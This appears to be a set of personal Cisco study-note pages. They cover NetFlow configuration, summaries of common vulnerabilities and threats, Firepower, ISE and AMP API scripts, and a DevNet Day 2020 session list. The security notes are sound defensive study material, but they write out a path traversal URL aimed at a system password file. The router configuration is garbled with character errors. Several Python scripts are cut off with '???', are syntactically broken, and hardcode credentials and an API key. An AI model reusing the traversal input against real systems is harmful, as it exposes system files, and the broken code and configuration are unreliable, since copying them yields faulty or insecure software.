Globo-Core-Router(config-flow-record)#description send NBAR Application Data to Stealthwatch Globo-Core-Router(config-flow-record)#match ipv4 tos Globo-Core-Router(config-flow-record)#match ipv4 protocol Globo-Core-Router(config-flow-record)#match ipv4 source address Globo-Core-Router(config-flow-record)#match ipv4 destination address Globo-Core-Router(config-flow-record)#match transport source-port Globo-Core-Router(config-flow-record)#match transport destination-port Globo-Core-Router(config-flow-record)#match interface input Globo-Core-Router(config-flow-record)#match flow direction Globo-Core-Router(config-flow-record)#collect routing source as Globo-Core-Router(Config-flow-record)#collect routina destination as Globo-Core-Router(confia-flow-recordì#collect routina next-hop address ipv4 Globo-Core-Router(config-flow-record)#collect ipv4 dscp Globo-Core-Router(confia-flow-record)#collect ipv4 id Globo-Core-Router(config-flow-record)#collect ipv4 source prefix Globo-Core-Router(config-flow-record)#collect ipv4 source mask Globo-Core-Router(config-flow-record)#collect ipv4 dest mask Globo-Core-Router(config-flow-record)#collect ipv4 ttl max Globo-Core-Router(config-flow-record)#collect transport tcp flags Globo-Core-Router(config-flow-record)#collect interface output Globo-Core-Router(config-flow-record)#collect transport tcp flags Globo-Core-Router(config-flow-record)#collect interface output Globo-Core-Router(config-fLow-record)#collect counter bytes Globo-Core-Router(Config-flow-record)#collect counter packets Globo-Core-Router(config-flow-record)#collect timestamp sys-uptime first Globo-Core-Router(config-flow-record)#collect timestamp sys-uptime last Globo-Core-Router(config-flow-record)#collect application name Globo-Core-Router(config-flow-record)#collect application http url Globo-Core-Router(config-flow-record)#collect application http host Globo-Core-Router(config-flow-record)#exit Globo-Core-Router(config)#flow exporter Globo_NetFlow_Collector Globo-Core-Router(Config-flow-exporter)#desc Stealthwatch NetFlow Collector Globo-Core-Router(config-flow-exporter)#destination 172.20.1.53 Globo-Core-Router(config-flow-exporter)#source qi 2 Globo-Ccore-Router cont1g-1Low-exporter)#transport udp 2055 Globo-Core-Router(config-flow-exporter)#template data timeout 30 Globo-Core-Router(config-flow-exporter)#option interface-table Globo-Core-Router(config-flow-exporter)#option application-table timeout 10 Globo-Core-Router(config-flow-exporter)#export-protocol ipfix Globo-Core-Router(config-flow-exporter)#exit Globo-Core-Router(config)#flow monitor GloboFlow Globo-Core-Router(config-flow-monitor)#desc Globo Main Flow Monitor Globo-Core-Router(config-flow-monitor)#record Globo_Flow_Record Globo-Core-Router(config-flow-monitor)#exporter Globo_NetFlow Collector Globo-Core-Router(config-flow-monitor)#cache timeout active 60 Globo-Core-Router(config-flow-monitor)#cache timeout inactive 15 G1obo-Core-Router(config-flow-monitor)#exit Globo-Core-Router(config)#int gi3 Globo-Core-Router(config-if)#ip flow monitor GloboFlow input Globo-Core-Router(config-if)#exit ``` --- # Secure Network Access, Visibility, and Enforcement Source: docs/networking/cisco/core-security/secure-network-access-visibility-and-enforcement/index.md URL: https://docs.calebsargeant.com/networking/cisco/core-security/secure-network-access-visibility-and-enforcement/ --- # Comparing Common Vulnerabilities Source: docs/networking/cisco/core-security/security-concepts/01.-comparing-common-vulnerabilities.md URL: https://docs.calebsargeant.com/networking/cisco/core-security/security-concepts/01.-comparing-common-vulnerabilities/ ## Software Bugs & Buffer Overflow An attacker can write over data and can also obtain unauthorised data. ### Software Bug Flaw in computer program that causes the program to behave in a way that was not intended. ### Buffer Overflow A Buffer is a reservation of memory for a specific size. An Overflow is when the size of data is greater than the reservation. ## Weak Passwords & Hard Coded Passwords ### Strong Passwords - Complex and long - 12 to 16 character minimum - A-Z, a-z, 0-9, !@#\$% Also: - No dictionary words - Replacing letters with special characters or numbers doesn’t provide much security - Change passwords ### Hard Coded Passwords Passwords embedded in software code. Once attacker knows the password, they can compromise any system that uses the program. **Mitigations:** - Store passwords outside of application in encrypted file - Could prompt for initial password - Match against hashes, not the actual password **Inbound HCP:** Credentials used for access to program **Outbound HCP:** Application uses password to access other application ## Missing Encryption ### Encryption - Provides confidentiality and integrity - VPNs are used for data in transit - Makes it difficult - to gain access - to manipulate data If data is missing encryption, it leaves the data exposed ## Path Traversal Allows attacker to navigate outside of original directory (www.test.com/../../etc/password.file). Attacker can use error messages to figure out the structure. **Mitigations:** - Work without user input if possible - Blacklist special characters - Mask the structure by using indexes - Enter ID 10 - Back end will navigate to Nebraska directory ## SQL Injection - Use a tool to inject malicious code into legitimate code. - Easy to discover - Internet search can provide a lot of info - Prevalence is common - Easy to exploit - Impacts can be severe **Impact:** - Successful attack can reveal usernames and passwords, PII, and sensitive corporate info. - Can modify data - Create additional accounts - Create fake, damaging information - Can bring down the system - Attacker can remove necessary files ## Cross Site Scripting & Cross Site Forgery Request ### Cross Site Scripting - Inject malicious code in order to control behavior of the site - Embed the code in a link - Attacker sends the link to the victim - Can shorten the URL to disguise it - Persistent XSS - Changes the code on the server - Each visitor that visits the site runs the malicious code **Mitigations:** - Use a security encoding library - Don’t allow untrusted data in vulnerable areas of website code ### Cross Site Forgery Request - Takes advantage of legitimate Cross Site Requests - Causes victim to run actions on an already authenticated session - Runs code in the background unbeknownst to the victim - May transfer money from an online bank **Mitigations:** - Mitigate XSS - Secure random tokens - Have users utilise a browser that supports SameSite cookie attributes --- # Explaining Common Threats & Protecting Humans from Attacks Source: docs/networking/cisco/core-security/security-concepts/02.-explaining-common-threats-and-protecting-humans-from-attacks.md URL: https://docs.calebsargeant.com/networking/cisco/core-security/security-concepts/02.-explaining-common-threats-and-protecting-humans-from-attacks/ ## Viruses, Trojans, & Other Malware ### Malware: Malicious Software - Viruses - Trojans - Worms - Rootkits - Spyware - Adware - PUP ### Viruses - Computer Program that copies itself - Spreads from one file to another - Can spread from computer to computer - Executable code that attaches itself to another executable program - .exe - MS Office - Corrupts files and the OS ### Spyware - Could be through a keylogger - Spies on victim - Can find other sensitive information ### Trojan - Designed to do a specific task - Can give attacker backdoor access to the victim’s machine - Can control multiple machines to use as an attack - DDoS - Ransomware: victim has to pay a ransom in order to access their files ### RootKits - Designed to go undetected - Can be installed in the computer’s kernal - Can control the entire computer ### Worms - Replicate themselves - Not attached to a program - Attack a vulnerability of the target system ### Adware - Generates revenue - Displays ads - Pay-per-click ## DoS Attacks & Man-in-the-middle Attacks ### Denial of Service - Degrades a system to prevent legitimate users access - Too much traffic for the system to process ### Distributed DoS - Multiple machines doing a DoS to one server ### Man-in-the-middle - Intercept client initial request to server - Sends a copy to original server - Server replies to Mitm - Mitm replies to client with copy - Can see contents of traffic intercepted by client to server communication - Client & server believe they’re talking correctly ## Social Engineering & Phishing Attacks ### Social Engineering - Perceived trust between attacker and another party - Could impersonate the victim in order to obtain sensitive information - Convincing victim they are a trusted authority - All future correspondence from them is legitimate - Emails could contain malicious links - Could provide the user with misinformation ### Phishing - Social engineering attack that uses electronic communications **Types:** - Bulk Phishing - Not a specific target (Generic) - Spear Phishing - Specific target (a lot of research) - Whaling - Spear phishing targeting high profile targets - Clone Phishing - Attacker clones logos of legitimate services **Methods:** - Link manipulation - Realistic websites - www.titlecompany.updated-wiretransfer.com - Take the victim to the attackers website - Website forgery - JavaScript to make the address bar look legitimate ## Endpoints Stopping Phishing ### Train the Userbase - Verify domain - Ask if email makes sense - Check the data - Call to verify - Flag the email as spam - Call right away if attempt was successful ### Computers Blocking Phishing Attempts - Phishing attacks are becoming more sophisticated - Cisco Advanced Phishing Protection - Analyzes emails - Takes configured action with malicious emails - Can be sent to Cisco’s security experts for further analysis ## Attacks Against Cloud Services Dos & DDoS can still happen in cloud environments ### Security Non-Profits - CSA - OWASP ### Data Breach - Confidential info is stolen - Attacker targets less secure systems: - Human error - Application vulnerabilities - Poor security practices ### Insecure APIs - Allow for authorized data to be shared automatically - Embedding API with a threat - Stolen API keys - API has more access than it should ### API Security Gateways - Allow for single point of connection for API - Security features are built into API Security Gateways - Not built into normal API Gateways ### Account Management - Promptly remove accounts and change passwords - Use MFA --- # Describing Security Intelligence Source: docs/networking/cisco/core-security/security-concepts/03.-describing-security-intelligence.md URL: https://docs.calebsargeant.com/networking/cisco/core-security/security-concepts/03.-describing-security-intelligence/ ## Security Intelligence Overview ### Hard to Keep up with Threats - Not a “set it and forget it” solution - Cant just sit back and monitor - Too many devices to manually update - A large amount of surface areas ### Too Much Work Identify threats, research solutions, and implement mitigations for every threat on each attack medium ### Security Intelligence - Organisations can participate in a community of security devices - All organisations benefit from new threat information - Author, share, and consume ## Security Intelligence Authoring, Sharing, and Consuming ### Telemetry Sharing Device upload data to network/Cloud **Scenario:** - Threat affects organisation - Device now has info on threat - Info is uploaded to cloud - Additional info is uploaded from other orgs ### Security Intelligence - Cloud performs analytics - Normalises data and finds pattens - Time, duration, surface area, other metrics - Who is being attacked - More info allows for better mitigations - Create signatures for different threats - Different security devices have different mitigations - Updates are shared with community - Cisco Talos can be every 3-5min - Each device installs the updates - All organizations participating in the cloud are protected from the new threat - Mo manual input required - Provides research and info to security professionals - Allows you to stay in the loop of the new types of threats that are emerging ## Cisco Talos - 1.1 million malicious software samples - 300 billion email samples, 200 billion are malicious - Block malware, phishing, and spam - Need to have the appropriate license - Create policy and ruleset - Defence in depth **Cisco Products that use Talos:** - NGFW & NGIPS - Cisco AMP - Email Security Appliance, Web Security Appliance - Cloud Email Security, Cloud Web Security - Cisco Umbrella - Cisco Threat Grid
![talos](_images/talos1.png)
Here you can see Legitimate Email, Spam & Malware colour-coded
![talos](_images/talos2.png)
Vulnerability Reports showing summary of the report
![talos](_images/talos3.png)
Vulnerability Reports showing the severity of threat
![talos](_images/talos4.png)
Vulnerability Reports showing details of how threat works
![talos](_images/talos5.png)
See the reputation for different things, like IP and Domain Reputation and File Reputation
--- # Explaining and Interpreting APIs Source: docs/networking/cisco/core-security/security-concepts/04.-explaining-and-interpreting-apis.md URL: https://docs.calebsargeant.com/networking/cisco/core-security/security-concepts/04.-explaining-and-interpreting-apis/ ## HTTP Basics & APIs ### HTTP Communication - HTTP GET (show data) - HTTP POST (create data) - HTTP PUT (modify data) - HTTP Delete (delete data) **Contents of HTTP:** - Headers contain metadata - Authentication - Payload formatting - Body - XML - JSON ### HTTP Codes - 100 Informational - 200 Success - 300 Redirection - 400 Client Error - 500 Server Error ### API Application Programming Interface (Set of specific operations that are built for the standardized management of a system) **RESTful API:** - Architectual Style - Stateless - Works nicely with HTTP ## Northbound and Southbound APIs ### Software Defined Networking - Network controlled by applications - Automatic provisioning and optimizing **Three types of devices:** - Controller (talk with other devices (south) & applications (north)) - Devices (south-bound communication) - Application (north-bound communication) ## Using DNA Center APIs to Provision, Optimize, Monitor & Troubleshoot ### DNA Center Digital Network Architecture Centre - Quickly provision and administer devices (also using plug and play) - Health of network - Deploy new devices and create new fabrics
![api](_images/api1.png)
Authorization header (notice the URL of API call)
![api](_images/api2.png)
Content Type is JSON for this API call
![api](_images/api3.png)
We did a POST to get the auth token
![api](_images/api4.png)
We did a get to list our devices (notice the URL of API call)
## Using Python to Connect to Firepower’s API - Use python to interact with FTD APIs - Using Cisco DevNet sandbox - Use a script that Cisco created `simple_client.py` to interact with FTD: ``` import requests import json from bravado.client import SwaggerClient from bravado.requests_client import RequestsClient import warnings import time class FTDClient: headers = { "Content-Type": "application/json", "Accept": "application/json" } def __init__(self, address='192.168.1.1', port=443, username="admin", password="Admin123"): self.server_address = address self.server_port = port self.username = username self.password = password requests.package.urllib3.disable_warnings() warnings.filterwarnings('ignore', 'config also_return_response is not a recognised config') self.access_token = None self.bravado_client = None def login(self): payload = '{{"grant_type": "password", "username": "{}", "password": "{}"}}'.format(self.u???) auth_headers = {**FTDClient.headers, 'Authorization': 'Bearer '} print ('Authentication Headers: %s', auth_headers) print ('Authentication Payload is: %s', payload) ourRequest = requests.post("https://{}:{}/api/fdm/v1/fdm/token".format(self.server_address???) data=payload, verify=False, headers=auth_headers if ourRequest.status_code == 400: raise Exception("Error logging in: {}".format(r.content)) try: self.access_token = ourRequest.json()['access_token'] except: raise def get_client(self): if self.bravado_client: return self.bravado_client http_client = RequestsClient() http_client.session.verify = False http_client.session.headers = {**FTDClient.headers, 'Authorization': 'Bearer {}'.format(self.access???)} self.bravado_client = SwaggerClient.from_url('https://{}:{}/apispec/ngfw.json'.format(self.server_???)) http_client=http_client, config={'validate_responses': False,??? }) return self.bravado_client ```
![api ftd](_images/api-ftd1.png)
In Firepower, you'll see no objects, let's add one
Adding an object to firepower: ``` from simple_client import FTDClient client = FTDClient(address='10.10.20.65', port=443, username='admin', password='Cisco1234') client.login() client.access_token bravClient = client.get_client() NetworkObject = bravClient.get_model('NetworkObject') APINetObject = NetworkObject(name='APITestObject', subType='HOST', value='1.1.1.1', type='networkobject') bravClient.NetworkObject.addNetworkObject(body=APINetObject).result() ```
![api ftd](_images/api-ftd2.png)
You'll now see the object created in Firepower
## Additional Phython API Scripts Get users from Cisco ISE: ``` import http.client import base64 import ssl import sys host = sys.argv[1] user = sys.argv[2] password = sys.argv[3] conn = http.client.HTTPSConnection("{}:9060".format(host), context=ssl.SSLContext(ssl.PROTOCOL_TLS???)) creds = str.encode(':'.join((user, password))) encodedAuth = bytes.decode(base64.b64encode(creds)) headers = { 'accept': "application/json" 'authorization': " ".join(("Basic", encodedAuth)), 'cache-control': "no-cache", } conn.request("GET", "/ers/config/internaluser", headers=headers) res = conn.getresponse() data = res.read() print("Status: {}".format(res.status)) print("Header:\n{}".format(res.headers)) print("Body:\n{}".format(data.decode("utf-8"))) ``` Print all event IDs in Cisco AMP: ``` import requests client_id = '4d69c78ac2db6644d0f2' api_key = '72d0639c-56c2-4e5f-812f-54dbffd5a502' event_id_url = "https://{}:{}@api.amp.cisco.com/v1/event_types".format(client_id,api_key) response = requests.get(event_id_url) event_ids = response.json() print(event_ids) ``` --- # Security Concepts Source: docs/networking/cisco/core-security/security-concepts/index.md URL: https://docs.calebsargeant.com/networking/cisco/core-security/security-concepts/ --- # Year 2020 Source: docs/networking/cisco/devnetday/2020.md URL: https://docs.calebsargeant.com/networking/cisco/devnetday/2020/ [DevNet Day 2020](https://developer.cisco.com/events/devnetday20/) ## Opening Keynote See it. Learn it. Code it. Join Susie Wee as she kicks off our first ever DevNet Day virtual event! - Susie Wee (SVP and GMCisco DevNet and CX Ecosystem Success) - Mandy Whaley (Sr. DirectorCisco DevNet and Certifications) - Todd Nightingale (SVP and GMCisco Enterprise Networking and Cloud) - Oliver Tuszik (SVPCisco Global Partner Organization) ## What's New with Cisco DevNet - Mandy WhaleySr. Director Cisco DevNet & Certifications - Eric ThielSr. Manager Cisco DevNet Technical Advocacy ## DevNet Innovation Hour - Robb Boyd - Silvia Spiva - Mandy Whaley - Shweta Palande - Eric Thiel ## Start Now ### Coding 1001 Matthew DeNapoli, Developer Advocate [Download presentation](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/networking/cisco/devnetday/_docs/2020/DevNetDay2020-Coding1001.pdf) ### Coding 1002 Matthew DeNapoli, Developer Advocate [Download presentation](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/networking/cisco/devnetday/_docs/2020/DevNetDay_Coding1002.pdf) ### Intro to Git Kareem Iskander, Developer Advocate [Download presentation](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/networking/cisco/devnetday/_docs/2020/DevNetDay_IntroGit.pdf) ## Cloud & Compute ### Programming with Cisco Intersight John McDonough, Developer Advocate [Download presentation](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/networking/cisco/devnetday/_docs/2020/DevNetDay2020-CC-Intersight-Postman.pdf) ### Provision Software-Defined Storage Infrastructure at Cloud Scale with Terraform Provider for Cisco Intersight Paniraj Koppa, Technical Marketing, Engineer, UCS Solutions [Download presentation](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/networking/cisco/devnetday/_docs/2020/DevNetDay2020-CC-L-Intersight-Terraform.pdf) ### Start Now Cisco UCS and Cisco Intersight Programmability John McDonough, Developer Advocate [Download presentation](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/networking/cisco/devnetday/_docs/2020/DevNetDay_CC_UCS-Intersight.pdf) ### Cisco Intersight Orchestration David Soper, Technical Marketing Engineer [Download presentation](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/networking/cisco/devnetday/_docs/2020/DevNetDay2020-CC-S-Intersight-Orchestration.pdf) ### Introduction to Kubernetes Matt Johnson, Developer Advocate ### Congrats on Your Overnight Cloud Migration – Now, Can You Support It? Marco Coulter, Technical Evangelist [Download presentation](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/networking/cisco/devnetday/_docs/2020/DevNetDay_CC_Overnight%20cloud%20migration.pdf) ## Collaboration ### Webex Meetings REST APIs JP Shipherd, Product Manager [Download presentation](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/networking/cisco/devnetday/_docs/2020/DevNetDay2020_Collab_MeetingsAPIs.pdf) ### Webex Devices APIs Richard Bayes, Product Manager [Download presentation](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/networking/cisco/devnetday/_docs/2020/DevNetDay2020_Collab_WebexDeviceAPIs.pdf) ### Webex Calling Call Control API Koushik Ramamurthy, Product Manager [Download presentation](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/networking/cisco/devnetday/_docs/2020/DevNetDay_Collab_WebexCalling.pdf) ### Cisco Collaboration – Vision and API Possibilities for Developers Jono LukSenior Director [Download presentation](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/networking/cisco/devnetday/_docs/2020/DevNet_Day_Collab_StartNow.pdf) ### Collab Developer Goodies David Staudt, Developer Advocate [Download presentation](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/networking/cisco/devnetday/_docs/2020/DevNetDay2020_Collab_Collab%20goodies.pdf) ### Elevating ‘face-to-face’ into Cisco Collaboration Cloud Adam Weeks, Technical Lead [Download presentation](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/networking/cisco/devnetday/_docs/2020/DevNetDay2020_Collab_Embedding%20Webex%20Features.pdf) ### Building a Webex Bot Quickly Phil Bellanti, Webex Developer Advocate [Download presentation](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/networking/cisco/devnetday/_docs/2020/DevNetDay_Collab_Webex%20Bot%20Building%20Quickly.pdf) ## Data Center Networking (ACI & NX-OS) ### Container-based Applications \| In Nexus 9000 Switches Tim Miller, DC Technical Solutions Architect, GVE [Download presentation](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/networking/cisco/devnetday/_docs/2020/DevNetDay2020_DataCenter_Container-based%20Applications%20on%20Nexus%209000.pdf) ### Want a self-driving Data Center Network? Try Cisco ACI & NAE with ServiceNow Asha Hedge, Senior Product Manager [Download presentation](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/networking/cisco/devnetday/_docs/2020/DevNetDay2020_DataCenter_NAE-SNOW.pdf) ### Composable Infrastructure with ACI and Terraform Nicolas Vermande, Product Manager [Download presentation](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/networking/cisco/devnetday/_docs/2020/DevNetDay2020_DC_ACI_Terraform.pdf) ### ACI Programmability \| Information & Inspiration to Get Started Quinn Snyder, Developer Advocate and Evangelist [Download presentation](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/networking/cisco/devnetday/_docs/2020/DevNetDay2020_DataCenter_Intro%20to%20ACI.pdf) ### Open NX-OS Programmability \| I Have APIs Now?! What Do I Do With Them? Quinn SnyderDeveloper Advocate and Evangelist [Download presentation](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/networking/cisco/devnetday/_docs/2020/DevNetDay2020_DataCenter_Intro%20to%20Nexus%20Programmability.pdf) ### All Things Ansible for ACI Lionel Hercot, Technical Marketing Engineer [Download presentation](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/networking/cisco/devnetday/_docs/2020/DevNetDay2020-DataCenter_All-Things-Ansible-ACI.pdf) ### Deconstructing DCN CI/CD Pipelines Lionel HercotTechnical Marketing Engineer [Download presentation](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/networking/cisco/devnetday/_docs/2020/DevNetDay2020_DataCenter_CI_CD_Pipeline_Explained.pdf) ## Enterprise Networking (DNAC, SD-WAN, IOS XE) ### IOS XE Zero Touch Provisioning Jeremy Cohoe, Technical Marketing Engineer [Download presentation](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/networking/cisco/devnetday/_docs/2020/DevNetDay2020_Ent_ZTP.pdf) ### Fun with SD-WAN APIs Sai Suchandan, Technical Marketing Engineer [Download presentation](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/networking/cisco/devnetday/_docs/2020/DevNetDay2020_Ent_Fun%20with%20SDWAN%20APIs.pdf) ### Get Webhook’d Gabi Zapodeanu, Technical Marketing Engineer [Download presentation](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/networking/cisco/devnetday/_docs/2020/DevNetDay2020_Ent_GetWebhookd.pdf) ### Getting Started with SD-WAN and Programmability Stuart Clark, Developer Advocate [Download presentation](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/networking/cisco/devnetday/_docs/2020/DevNetDay2020_Ent_StartNow-SDWAN.pdf) ### Introduction to Cisco DNA Center Kareem Iskander, Developer Advocate [Download presentation](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/networking/cisco/devnetday/_docs/2020/DevNetDay2020_Ent_IntroDNAC-Digital.pdf) ### Python-Viptela SDK Steven Carter, Principal Architect [Download presentation](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/networking/cisco/devnetday/_docs/2020/DevNetDay_Ent_PythonViptela.pdf) ### Understanding Device Onboarding with PnP API in Cisco DNA Center Adam Radford, Distinguished Architect [Download presentation](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/networking/cisco/devnetday/_docs/2020/DevNetDay_Ent_pnp.pdf) ## IoT ### IR1101 Remote Maintenance Johan Arens, Systems Architect [Download presentation](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/networking/cisco/devnetday/_docs/2020/DevNetDay2020_IoT_Remote%20Maintenance.pdf) ### Smart Parking LoRaWAN Florian Pachinger, Developer Advocate [Download presentation](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/networking/cisco/devnetday/_docs/2020/DevNetDay2020_IoT_LoRaWAN.pdf) ### IoT Beer 101 Kareem Iskander, Developer Advocate [Download presentation](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/networking/cisco/devnetday/_docs/2020/DevNetDay2020_IoT_Beer101-Digital.pdf) ### Intro to DevNet IoT Jock Reed, Developer Advocate ### Intro to Edge Computing/IOx App Hosting Shweta Palande, Developer Advocate [Download presentation](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/networking/cisco/devnetday/_docs/2020/DevNetDay_IoT_Intro_to_edge_compute.pdf) ### IOx Application Hosting Advanced Emmanuel Tychon, Technical Marketing Engineer ### Data Goverance using Cisco Edge Intelligence Naveen Manicka, Technical Marketing Engineer [Download presentation](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/networking/cisco/devnetday/_docs/2020/DevNetDay_IoT_EdgeIntelligence.pdf) ## Meraki ### Platform Simulation in the Real World Matthew DeNapoli, Developer Advocate [Download presentation](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/networking/cisco/devnetday/_docs/2020/DevNetDay_Meraki_PlatformSimulation.pdf) ### Introduction to Meraki Integrations Matthew DeNapoli, Developer Advocate [Download presentation](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/networking/cisco/devnetday/_docs/2020/DevNetDay_Meraki_Intro_toMerakiIntegrations.pdf) ### Introduction to Dashboard APIs Jon Hartman, Consulting Sales Engineer [Download presentation](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/networking/cisco/devnetday/_docs/2020/DevNetDay_Meraki_Intro%20to%20APIs.pdf) ### API Updates on v1 Documentation, Postman & Python Library: Part I Cory Guynn, Solutions Architect [Download presentation](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/networking/cisco/devnetday/_docs/2020/DevNet%20Day_API_Updates_Meraki.pdf) ### API Updates on v1 Documentation, Postman & Python Library: Part II Shiyue (Shay) Cheng ### Webhooks Jon Hartman, Consulting Sales Engineer [Download presentation](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/networking/cisco/devnetday/_docs/2020/DevNetDay_Meraki_Webhooks.pdf) ### Applying Machine Learning Techniques to Detect Objects with a Meraki MV Camera Rafa Carvalho, Meraki SE ## Security ### Exploring Development and Integration Opportunities with Cisco's Security Platform, SecureX Ben Greenbaum, Technical Engineer [Download presentation](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/networking/cisco/devnetday/_docs/2020/DevNetDay_Security_SecureX.pdf) ### Start Now 101: Security Introduction - Oxana Sannikova (Security Programmability Lead) \* Gabriel Liechtman-Manor (Senior Software Engineer) - Krishan Veer (Developer Advocate & Technical Leader) \* Christopher van der Made (Developer Advocate) - Jared Smith (Principal Engineer) - Yatish Joshi (Technical Leader) [Download presentation](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/networking/cisco/devnetday/_docs/2020/DevNetDay_Security_StartNow.pdf) Firepower API and O365 Lightning Talk ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ Christopher Van Der Made, Developer Advocate [Download presentation](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/networking/cisco/devnetday/_docs/2020/DevNetDay_Security_FirepowerO365.pdf) ### Firepower & Firepower APIs Part 1: FTD API Jared Smith, Principal Engineer [Download presentation](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/networking/cisco/devnetday/_docs/2020/DevNetDay_Security_Firepower%20Device%20Manager.pdf) ### Firepower & Firepower APIs Part 2: FMC APIs Yatish Joshi, Technical Leader [Download presentation](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/networking/cisco/devnetday/_docs/2020/DevNetDay_Security_FirepowerPart2.pdf) ## Service Provider ### Crosswork Qualification Environment Mike Korshunov, Technical Marketing Engineer [Download presentation](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/networking/cisco/devnetday/_docs/2020/DevNetDay_SP_CrossworkQual.pdf) ### Automating XR Protocols Amrit Hanspal, Product Manager [Download presentation](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/networking/cisco/devnetday/_docs/2020/DevNetDay2020_SP_Protocol%20Automation.pdf) ### Service Orchestration with Pro-Active Monitoring & Remediation using Crosswork Applications Sriharsha Dhanekula, Technical Marketing Engineer [Download presentation](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/networking/cisco/devnetday/_docs/2020/DevNetDay_SP_Service-Orchestration-Lighting-Talk.pdf) ### Getting Started with ZTP using IOS-XR and Cisco Crosswork Akshat Sharma, Technical Marketing Engineer [Download presentation](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/networking/cisco/devnetday/_docs/2020/DevNetDay_SP_ZTP_IOSXR_Crswrk.pdf) ### Automate your Deployment with XR7 Akshat Sharma, Technical Marketing Engineer [Download presentation](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/networking/cisco/devnetday/_docs/2020/DevNetDay_SP_Auto_IOSXR7_CICD.pdf) ### Accomplish Operational Excellence using Crosswork Applications Sriharsha Dhanekula, Technical Marketing Engineer [Download presentation](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/networking/cisco/devnetday/_docs/2020/DevNetDay_SP_Operational_Excellence.pdf) ### Automating Cisco IOS XR Configuration with Unified Data Models Santiago Alvarez, Distinguished Technical Marketing Engineer [Download presentation](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/networking/cisco/devnetday/_docs/2020/DevNetDay_SP_IOS_XR.pdf) ## DevNet Snack Minute: Automation Exchange - Eric Thiel, Sr. Manager Cisco DevNet Technical Advocacy - Kareem IskanderDeveloper Advocate ## DevNet Day Closing Thanks for joining us! - Susie Wee - Robb Boyd - Silvia Spiva - Mandy Whaley - Shweta Palande --- # DevNet Day Source: docs/networking/cisco/devnetday/index.md URL: https://docs.calebsargeant.com/networking/cisco/devnetday/ --- # DNA Source: docs/networking/cisco/dna.md URL: https://docs.calebsargeant.com/networking/cisco/dna/ - DNA is used in the Enterprise space. - APIC YEM is the old DNA Centre. - It can be defined as a campus, WAN, access, wireless (enterprise) SDN / SD WAN network controller - Makes it easier for network engineers to get done what they need to, to focus on more important things. - You can create a global logical topology of the physical location of your devices, incl. a floor plan. - Allows you to update software & configuration remotely from your device list (via CLI, SNMP, & HTTP(S)). - Can also do IPAM. - Can connect to ticketing systems for change control. - Can integrate with WLAN controller, and you can configure autonomous APs. - Monitoring and Assurance allows you to gain insight on what happened in your network Northbound - how you manage DNA Centre Southbound - how to connect to devices --- # General Source: docs/networking/cisco/general.md URL: https://docs.calebsargeant.com/networking/cisco/general/ ## Public Key Authentication ``` bash # Generate RSA key on your client machine, laptop, or whatever ssh-keygen # Fold the key to format it for Cisco to understand fold -b -w 72 ~/.ssh/id_rsa.pub ``` ``` text ROUTER# conf t ROUTER(config)#ip ssh pubkey-chain ROUTER(conf-ssh-pubkey)#username USERNAME ROUTER(conf-ssh-pubkey-user)#key-string ROUTER(conf-ssh-pubkey-data)#THE_FOLD_OUTPUT ROUTER(conf-ssh-pubkey-data)#exit ROUTER(conf-ssh-pubkey-user)#exi ROUTER(conf-ssh-pubkey)#exi ROUTER(config)#do wr ``` ## Next Generation Encryption --- # Genie Source: docs/networking/cisco/genie.md URL: https://docs.calebsargeant.com/networking/cisco/genie/ Automatically parses device configuration into yaml, json, etc. to be used with python, for example. ``` bash # get a state of the network genie learn interface --testbed testbed.yaml --device iosxe --output learn # some stuff changes in the network # learn the network again genie learn interface --testbed testbed.yaml --device iosxe --output learn2 # get a diff of the network to see what changed genie diff learn learn2 --output diff ``` --- # Cisco Source: docs/networking/cisco/index.md URL: https://docs.calebsargeant.com/networking/cisco/ --- # ISE Source: docs/networking/cisco/ise.md URL: https://docs.calebsargeant.com/networking/cisco/ise/ Identity Services Engine 